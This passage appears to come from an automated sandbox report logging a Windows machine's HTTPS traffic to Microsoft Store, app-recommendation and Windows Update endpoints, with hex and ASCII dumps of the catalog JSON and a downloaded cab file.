6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 
6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 
75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 
3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 
5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 7
9 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 
Data Ascii: third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":
1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"system
Id\":12},{\"level

2022-06-08 07:57:01 UTC 9553 IN Data Raw: 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 31 
32 33 37 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 
61 67 65 46 6f 72 6d 61 74 22 3a 22 61 70 70 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 
4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 5
0 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 
6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 32 2e 30 2e 30 2e 33 32 30 5f 78 38 
36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 
Data Ascii: Ids":[],"MaxDownloadSizeInBytes":7912372,"MaxInstallSizeInBytes":null,"PackageFormat":"appx","Pack
ageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullNam
e":"Microsoft.BingNews_2.0.0.320_x86__8wekyb3d8bbwe","Pac
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2022-06-08 07:57:01 UTC 9557 IN Data Raw: 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 
44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 7d 2c 22 
4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 37 3a 33 31 3a 34 39 2e 
36 30 37 36 33 37 30 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 
6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 
22 50 49 46 69 6c 74 65 72 22 3a 7b 22 45 78 63 6c 75 73 69 6f 6e 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 5d 2c 22 49 
6e 63 6c 75 73 69 6f 6e 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 5d 7d 2c 
Data Ascii: 0000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDate":"2022-05-
05T17:31:49.6076370Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"PIFilter":{"ExclusionProp
erties":[],"InclusionProperties":[]},

2022-06-08 07:57:01 UTC 9561 IN Data Raw: 6b 65 20 61 20 64 61 72 6b 20 6d 6f 64 65 20 66 6f 72 20 6e 69 67 68 74 74 69 6d 65 20 72 65 61 64 69 6e 67 
2e 20 54 68 65 20 61 70 70 20 69 73 20 66 72 65 65 20 74 6f 20 64 6f 77 6e 6c 6f 61 64 20 61 6e 64 20 75 73 65 20 77 69 
74 68 20 6e 6f 20 6c 69 6d 69 74 73 20 6f 6e 20 68 6f 77 20 6d 61 6e 79 20 61 72 74 69 63 6c 65 73 20 6f 72 20 76 69 64 
65 6f 73 20 79 6f 75 20 63 61 6e 20 76 69 65 77 2e 5c 6e 5c 6e 41 6d 6f 6e 67 20 74 68 65 20 74 6f 70 20 6e 65 77 73 20 
70 72 6f 76 69 64 65 72 73 20 70 61 72 74 6e 65 72 69 6e 67 20 77 69 74 68 20 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 
73 3a 5c 6e c2 a0 5c 6e 4e 65 77 73 2c 20 70 6f 6c 69 74 69 63 73 20 61 6e 64 20 6f 70 69 6e 69 6f 6e 3a 20 54 68 65 20 
57 61 73 68 69 6e 67 74 6f 6e 20 50 6f 73 74 2c 20 55 53 41 
Data Ascii: ke a dark mode for nighttime reading. The app is free to download and use with no limits on how many articles 
or videos you can view.\n\nAmong the top news providers partnering with Microsoft News:\n\nNews, politics and opinion: 
The Washington Post, USA

2022-06-08 07:57:01 UTC 9565 IN Data Raw: 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 
2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 
6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6
c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 
6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 
75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 
Data Ascii: l\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"
level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId"
:"9WZDNCRFHVFW","

2022-06-08 07:57:01 UTC 9569 IN Data Raw: 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 
5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 36 63 35 38 36 37 63 31 2d 65 38 37 61 
2d 34 38 61 39 2d 61 39 34 62 2d 65 39 66 64 63 62 61 61 63 32 33 38 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 
3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 
2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 
73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 
74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 
Data Ascii: l,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"6c5867c1-e87a-48a9-a94b-e9fdcbaac238
","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wek
yb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures

2022-06-08 07:57:01 UTC 9573 IN Data Raw: 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 
67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 
70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 
72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 
3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 
22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 30 37 39 32 36 30 36 2c 22 4d 61 78 49 
6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 36 39 36 
Data Ascii: "SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Arch
itectures":["arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":40792606,"M
axInstallSizeInBytes":35696

2022-06-08 07:57:01 UTC 9577 IN Data Raw: 4f 4c 55 54 49 4f 4e 5f 57 56 47 41 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 57 58 47 41 22 2c 22 49 
44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 48 44 37 32 30 50 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 53 49 4c 56 45 52 4c 49 
47 48 54 5f 46 52 41 4d 45 57 4f 52 4b 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 50 45 52 49 4f 44 49 43 42 41 43 4b 47 52 
4f 55 4e 44 41 47 45 4e 54 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 52 45 53 4f 55 52 43 45 49 4e 54 45 4e 53 49 56 45 42 
41 43 4b 47 52 4f 55 4e 44 41 47 45 4e 54 22 2c 22 49 44 5f 43 41 50 5f 4e 45 54 57 4f 52 4b 49 4e 47 22 2c 22 49 44 5f 
43 41 50 5f 4d 45 44 49 41 4c 49 42 5f 50 4c 41 59 42 41 43 4b 22 2c 22 49 44 5f 43 41 50 5f 53 45 4e 53 4f 52 53 22 2c 
22 49 44 5f 43 41 50 5f 57 45 42 42 52 4f 57 53 45 52 
Data Ascii: OLUTION_WVGA","ID_RESOLUTION_WXGA","ID_RESOLUTION_HD720P","ID_FNCTNL_SILVERLIG
HT_FRAMEWORK","ID_FNCTNL_PERIODICBACKGROUNDAGENT","ID_FNCTNL_RESOURCEINTENSIVEBA
CKGROUNDAGENT","ID_CAP_NETWORKING","ID_CAP_MEDIALIB_PLAYBACK","ID_CAP_SENSORS","
ID_CAP_WEBBROWSER

2022-06-08 07:57:01 UTC 9581 IN Data Raw: 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 34 30 65 30 
64 66 65 38 2d 64 31 63 39 2d 34 35 61 65 2d 61 37 39 36 2d 64 30 32 33 64 31 63 30 32 66 32 35 2d 58 36 34 22 2c 22 
50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 30 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 
73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 4d 69 6e 56 
65 72 73 69 6f 6e 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 
3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 
63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 
Data Ascii: 64__8wekyb3d8bbwe","PackageId":"40e0dfe8-d1c9-45ae-a796-d023d1c02f25-X64","PackageRank":
20002,"PlatformDependencies":[{"MaxTested":1688858450264064,"MinVersion":1688858450264064,"PlatformN
ame":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.ver

2022-06-08 07:57:01 UTC 9585 IN Data Raw: 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 
6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 2
2 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 
64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 
Data Ascii: {\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},
{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"Ful
fillmen

2022-06-08 07:57:01 UTC 9588 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.2.3 49839 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9528 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165631Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:01 UTC 9557 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9b9bb6ac-4b61-4ab7-855a-fa44b6ee8cb9
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 192.168.2.3 49840 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9588 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165632Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:01 UTC 9588 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: da2d9332-a7cf-4983-a9bd-554fd9949e69
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.2.3 49842 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9588 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165633Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:02 UTC 9589 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0b3e4909-53a9-419e-abf3-59413630b35d
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.2.3 49841 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-06-08 07:57:02 UTC 9589 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:02 UTC 9590 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: fe5926c5-b371-42cf-a2dc-20284a655797
MS-RequestId: 7210758a-ee98-4b70-9c54-328e85cc8aa6
MS-CV: Rs0Sha9z7UK+/dHM.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:02 UTC 9591 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:02 UTC 9606 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:02 UTC 9622 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

115 192.168.2.3 49843 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:02 UTC 9589 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165634Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:02 UTC 9590 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 1e6ec74b-2046-4a78-94cd-ef6626908afa
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

116 192.168.2.3 49844 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:02 UTC 9626 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165635Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:02 UTC 9626 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 30dbe3a1-a869-4e51-a529-89334e233ee7
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 192.168.2.3 49846 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:02 UTC 9627 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165635Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:02 UTC 9627 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 7cd3fc57-88d7-420a-8e41-b164b29097f7
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.2.3 49845 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:02 UTC 9627 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:02 UTC 9628 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 78973794-efc8-4a4b-a2f6-a1f8fe7270e0
MS-RequestId: f0fdd90c-0cec-4cdc-bb92-267400c2b4dc
MS-CV: H8i3p+6ghkmhDiPK.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:02 GMT
Connection: close
Content-Length: 35877

